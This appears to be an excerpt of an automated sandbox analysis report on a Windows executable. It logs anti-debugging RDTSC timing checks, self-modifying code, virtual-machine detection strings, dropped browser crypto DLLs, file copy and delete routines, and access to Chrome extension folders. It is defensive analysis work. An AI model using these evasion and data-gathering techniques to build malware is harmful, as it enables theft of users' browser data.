Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67BB0 second address: B67BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69B78 second address: B69B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D038Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69B89 second address: B69B9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F23952C8E28h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69B9B second address: B69BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69BA1 second address: B69BAB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F23952C8E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7277D second address: B72787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F23947D0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B72787 second address: B72794 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F23952C8E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B710A5 second address: B710D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D038Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F23947D0398h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B710D0 second address: B710D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71224 second address: B71228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71228 second address: B71236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F23952C8E2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71236 second address: B71242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F23947D038Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71536 second address: B7153C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7180F second address: B71814 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71ED0 second address: B71EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23952C8E32h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B704E0 second address: B704FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D0399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B704FD second address: B70503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70503 second address: B70509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B3FB second address: B7B401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B401 second address: B7B405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89A93 second address: B89A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89A97 second address: B89A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89A9B second address: B89AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89806 second address: B8980C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C53A second address: B8C540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C540 second address: B8C558 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947D0394h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C0A7 second address: B8C0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23952C8E32h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C0C0 second address: B8C0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F23947D0386h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C0CB second address: B8C0D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C0D0 second address: B8C0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4188 second address: BA41CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F23952C8E39h 0x0000000c push ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F23952C8E38h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA41CB second address: BA41EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jl 00007F23947D0386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F23947D0397h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA41EE second address: BA4209 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F23952C8E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4623 second address: BA4629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA4629 second address: BA462F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA47B3 second address: BA47F2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F23947D0396h 0x00000008 jno 00007F23947D0392h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F23947D038Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA493E second address: BA4942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5497 second address: BA54AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007F23947D038Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA54AA second address: BA54C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23952C8E38h 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6E3F second address: BA6E7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F23947D038Eh 0x00000008 jmp 00007F23947D038Ch 0x0000000d je 00007F23947D0386h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F23947D0394h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6E7B second address: BA6E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA18E second address: BAA192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA192 second address: BAA1B2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F23952C8E26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jne 00007F23952C8E26h 0x00000013 jmp 00007F23952C8E2Ch 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1B2 second address: BAA1C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F23947D038Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1C2 second address: BAA1CF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F23952C8E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAC3D0 second address: BAC3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABFC3 second address: BABFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F23952C8E26h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F23952C8E36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABFE8 second address: BABFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8EF4 second address: BB8EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB6EA second address: BBB704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23947D0395h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB704 second address: BBB70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB70C second address: BBB710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB710 second address: BBB714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC00E3 second address: BC0105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23947D0390h 0x00000009 jg 00007F23947D0388h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0105 second address: BC0109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0109 second address: BC010F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD6FE second address: BCD708 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23952C8E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD708 second address: BCD726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F23947D0395h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD726 second address: BCD73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jbe 00007F23952C8E26h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD73C second address: BCD742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD438 second address: BCD43E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD43E second address: BCD442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCFA9 second address: BDCFBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F23952C8E30h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDCFBF second address: BDCFDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jg 00007F23947D0386h 0x0000000b popad 0x0000000c pushad 0x0000000d jl 00007F23947D0386h 0x00000013 push eax 0x00000014 pop eax 0x00000015 jnp 00007F23947D0386h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFE50 second address: BDFE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFEC0 second address: BDFEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFEC4 second address: BDFEDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23952C8E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE30F8 second address: BE3102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE3102 second address: BE3118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F23955E2766h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F23955E2766h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE3118 second address: BE3136 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F23955E58D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F23955E58E2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE3136 second address: BE3163 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F23955E2766h 0x00000008 jne 00007F23955E2766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F23955E2775h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F23955E2766h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE3163 second address: BE3167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230307 second address: 523030D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523030D second address: 523031E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23955E58DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523031E second address: 5230322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF59 second address: AFDF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF5D second address: AFDF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF61 second address: AFDF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF6F second address: AFDF79 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23955E276Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9517D7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B803A7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 10.0 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00704910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00704910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_006FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_006FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_006FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00703EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00703EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006FF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_007038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00704570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00704570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_006FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006FDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F1160 GetSystemInfo,ExitProcess,

0_2_006F1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58230
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58227
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58250
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58282
